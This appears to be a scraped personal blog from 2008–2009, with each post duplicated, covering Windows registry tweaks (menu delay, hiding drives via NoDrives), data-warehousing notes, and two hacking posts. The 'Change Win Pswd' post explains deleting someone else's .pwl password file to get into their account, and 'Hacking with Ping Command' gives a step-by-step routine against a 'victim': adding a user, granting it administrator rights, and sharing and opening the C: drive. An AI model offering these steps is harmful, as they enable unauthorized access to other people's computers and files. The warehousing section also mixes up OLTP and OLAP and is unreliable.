Hkey_current_user\control Panel\desktop locate
Menushowdelay change value from 400 to 15
Menushowdelay change value from 400 to 15
Wednesday, March 4, 2009
To hide drives
HKEY_LOCALMACHINE\Software\Microsoft\Windows\
CurrentVersion\Policies\Explorer - this changes the settings for all users on the machine.
You may have to create the key folder "Explorer" manually.
3. In the Explorer key folder, create a new DWORD value by right-clicking Explorer, then
choosing New DWORD value. Name the value "NoDrives" (without the quotes). This value defines
local and network drive visibility for each logical drive on the computer. All drives will be
visible as long as this value's data is set to 0.
4. Following the table below, enter the decimal number corresponding to the drive(s) you want
to hide as NoDrives value data. When you right-click on NoDrives and choose Modify, make
sure you select Decimal base, not Hexadecimal.And restart windows
Drive Number to hide
A: 1
B: 2
C: 4
D: 8
E: 16
F: 32
G: 64
H: 128
I: 256
J: 512
K: 1024
L: 2048
M: 4096
N: 8192
O: 16384
P: 32768
Q: 65536
R: 131072
S: 262144
T: 524288
U: 1048576
V: 2097152
W: 4194304
X: 8388608
Y: 16777216
Z: 33554432
All drives 67108863
CurrentVersion\Policies\Explorer - this changes the settings for all users on the machine.
You may have to create the key folder "Explorer" manually.
3. In the Explorer key folder, create a new DWORD value by right-clicking Explorer, then
choosing New DWORD value. Name the value "NoDrives" (without the quotes). This value defines
local and network drive visibility for each logical drive on the computer. All drives will be
visible as long as this value's data is set to 0.
4. Following the table below, enter the decimal number corresponding to the drive(s) you want
to hide as NoDrives value data. When you right-click on NoDrives and choose Modify, make
sure you select Decimal base, not Hexadecimal.And restart windows
Drive Number to hide
A: 1
B: 2
C: 4
D: 8
E: 16
F: 32
G: 64
H: 128
I: 256
J: 512
K: 1024
L: 2048
M: 4096
N: 8192
O: 16384
P: 32768
Q: 65536
R: 131072
S: 262144
T: 524288
U: 1048576
V: 2097152
W: 4194304
X: 8388608
Y: 16777216
Z: 33554432
All drives 67108863
Change Win Pswd
Have you ever forgotten your windows password and never been able to
Retrieve those files you longed?
Well heres how to change your password without knowing the old one.
1)when the computer boots keep pressing F8 until you get to a boot screen.
2)Select boot in DOS.
3)Get yourself into the windows folder by typing "cd windows" (without the "")
4)next type "dir *.pwl". This will display the login password files.
5)after you found out the one that’s yours (or ne1 else’s you want to get into) type del
Username.pwl
6)Reboot the computer
7)When you have to login, put in the username you deleted, and enter ne password you like.
8)The computer will say something like "No password. Would you like to use this one? Confirm?
9)Put your password in
10) sit back and watch all the noobs try and open their windows boxes with the wrong password
Retrieve those files you longed?
Well heres how to change your password without knowing the old one.
1)when the computer boots keep pressing F8 until you get to a boot screen.
2)Select boot in DOS.
3)Get yourself into the windows folder by typing "cd windows" (without the "")
4)next type "dir *.pwl". This will display the login password files.
5)after you found out the one that’s yours (or ne1 else’s you want to get into) type del
Username.pwl
6)Reboot the computer
7)When you have to login, put in the username you deleted, and enter ne password you like.
8)The computer will say something like "No password. Would you like to use this one? Confirm?
9)Put your password in
10) sit back and watch all the noobs try and open their windows boxes with the wrong password
Saturday, December 6, 2008
Hacking with Ping Command
1) Ping command
a cool way to say hello to victim
try
ping [victims ip goes here]
if the result is request timed out then the user is ofline
if the result is reply from [ip] bytes=32 time<1ms TTL 64
the victim is online.
2)net user [anyname] /add
it adds a new net user put any name inplace of [anyname]
3)net localgroup administrators [anyname] /add
This is the command that make your user go to the administrators
group.
Depending on the windows version the name will be different.
If you got an american version the name for the group is Administrators
and for the portuguese version is administradores so it's nice
yo know wich version of windows xp you are going to try share.
4)net share system=C:\ /unlimited
This commands share the C: drive with the name of system.
you can use any root dir. instead
5)net use \\victimip [nameofnetaccount]
This command will make a session between you and the victim
Of course where it says victimip you will insert the victim ip.
where nameofnetuser is the name via which victim logs on
6)explorer \\victimip\system
And this will open a explorer windows in the share system wich is
the C: drive with administrators access!
a cool way to say hello to victim
try
ping [victims ip goes here]
if the result is request timed out then the user is ofline
if the result is reply from [ip] bytes=32 time<1ms TTL 64
the victim is online.
2)net user [anyname] /add
it adds a new net user put any name inplace of [anyname]
3)net localgroup administrators [anyname] /add
This is the command that make your user go to the administrators
group.
Depending on the windows version the name will be different.
If you got an american version the name for the group is Administrators
and for the portuguese version is administradores so it's nice
yo know wich version of windows xp you are going to try share.
4)net share system=C:\ /unlimited
This commands share the C: drive with the name of system.
you can use any root dir. instead
5)net use \\victimip [nameofnetaccount]
This command will make a session between you and the victim
Of course where it says victimip you will insert the victim ip.
where nameofnetuser is the name via which victim logs on
6)explorer \\victimip\system
And this will open a explorer windows in the share system wich is
the C: drive with administrators access!
Monday, December 1, 2008
DATAWAREHOUSING
DATAWAREHOUSING
ERP is meant to store and facilitate movement of data seamlessly between various departments,
whereas BI is meant for effective and efficient retrieval or data for analytical purposes.
Examples of ERP software’s include SAP, Oracle 11i, JD Edwards, PeopleSoft .
Examples of BI software’s include Business Objects, Cognos, Hyperion, ProClarity,
Microsoft SSAS & SSRS and SAP BIW.
-----------------------------------------------------------------------------------
Dimensional Modeling
The traditional data model called ER model is how most data is stored in RDBMS or typical databases;
however this model does not support fast retrieval of information. ER model, i.e. Entity Relationship
model is not optimized for query purposes. It is meant to store the data. Hence it is converted into
Dimensional model which is optimized for query.
A Dimensional model essentially comprises of schemas. Schemas are the representation of objects and data.
There are various kinds of schemas in Dimensional model, e.g. Star schema, Snowflake schema, Galaxy schema,
Hybrid schema and others. Star and snowflake are the two types which are broadly used.
Star Schema –
Any source system is highly normalized. We de-normalize source database with the help of star schema.
Star schema is the de-normalized version which is presented in the form of a star. The centre of the
star schema is the fact table which comprises the measures of the business. The fact table is connected to
various dimensions, thus giving it the shape of a star.
Snowflake schema -
Snowflake schema can be called as an extension of the Star schema. It is in normalized form. For example,
if we have a dimension called Product Dimension associated with fact table, this Product Dimension will be
further sub-divided into multiple tables to form a Snowflake schema.
The difference between Star and Snowflake schema is that, in Star schema, dimensions are less and hence
complexity of business also reduces. It does not involve granular level analysis. On the other hand, there
is large number of sub dimensions with millions of records in these tables in snowflake schema. Dimensions
change rapidly in this type of schema and it requires granular level analysis. Since dimensions are split
into sub tables, it subsequently leads to increase in the number of joins in Snowflake schema. The
processing time or query time also reduces as the consequence of having a lot of joins.
The core advantage of Snowflake schema is that, we can choose the sub dimension which is required for
analysis, without taking the entire parent dimensions at one shot. This makes the whole process simpler
and easier for the business users. In star schema, we do not enjoy the same privilege.
In most cases, the combination of these two schema's is prevalent in the
implementation of data warehouses. We can come to the conclusion that, the purpose of creating Dimensional
models is to convert data into a query friendly environment where retrieval is much faster as compared to that in a conventional ER model.
Data Warehousing are of two types one is OLTP (Online Transaction Processing) and OLAP (Online Analytic Processing) .
OLTP is used mainly in Banking Doamin and Share Trading domain .
OLAP is used to getting Reports for example Sales Report of a particular month
ERP is meant to store and facilitate movement of data seamlessly between various departments,
whereas BI is meant for effective and efficient retrieval or data for analytical purposes.
Examples of ERP software’s include SAP, Oracle 11i, JD Edwards, PeopleSoft .
Examples of BI software’s include Business Objects, Cognos, Hyperion, ProClarity,
Microsoft SSAS & SSRS and SAP BIW.
-----------------------------------------------------------------------------------
Dimensional Modeling
The traditional data model called ER model is how most data is stored in RDBMS or typical databases;
however this model does not support fast retrieval of information. ER model, i.e. Entity Relationship
model is not optimized for query purposes. It is meant to store the data. Hence it is converted into
Dimensional model which is optimized for query.
A Dimensional model essentially comprises of schemas. Schemas are the representation of objects and data.
There are various kinds of schemas in Dimensional model, e.g. Star schema, Snowflake schema, Galaxy schema,
Hybrid schema and others. Star and snowflake are the two types which are broadly used.
Star Schema –
Any source system is highly normalized. We de-normalize source database with the help of star schema.
Star schema is the de-normalized version which is presented in the form of a star. The centre of the
star schema is the fact table which comprises the measures of the business. The fact table is connected to
various dimensions, thus giving it the shape of a star.
Snowflake schema -
Snowflake schema can be called as an extension of the Star schema. It is in normalized form. For example,
if we have a dimension called Product Dimension associated with fact table, this Product Dimension will be
further sub-divided into multiple tables to form a Snowflake schema.
The difference between Star and Snowflake schema is that, in Star schema, dimensions are less and hence
complexity of business also reduces. It does not involve granular level analysis. On the other hand, there
is large number of sub dimensions with millions of records in these tables in snowflake schema. Dimensions
change rapidly in this type of schema and it requires granular level analysis. Since dimensions are split
into sub tables, it subsequently leads to increase in the number of joins in Snowflake schema. The
processing time or query time also reduces as the consequence of having a lot of joins.
The core advantage of Snowflake schema is that, we can choose the sub dimension which is required for
analysis, without taking the entire parent dimensions at one shot. This makes the whole process simpler
and easier for the business users. In star schema, we do not enjoy the same privilege.
In most cases, the combination of these two schema's is prevalent in the
implementation of data warehouses. We can come to the conclusion that, the purpose of creating Dimensional
models is to convert data into a query friendly environment where retrieval is much faster as compared to that in a conventional ER model.
Data Warehousing are of two types one is OLTP (Online Transaction Processing) and OLAP (Online Analytic Processing) .
OLTP is used mainly in Banking Doamin and Share Trading domain .
OLAP is used to getting Reports for example Sales Report of a particular month
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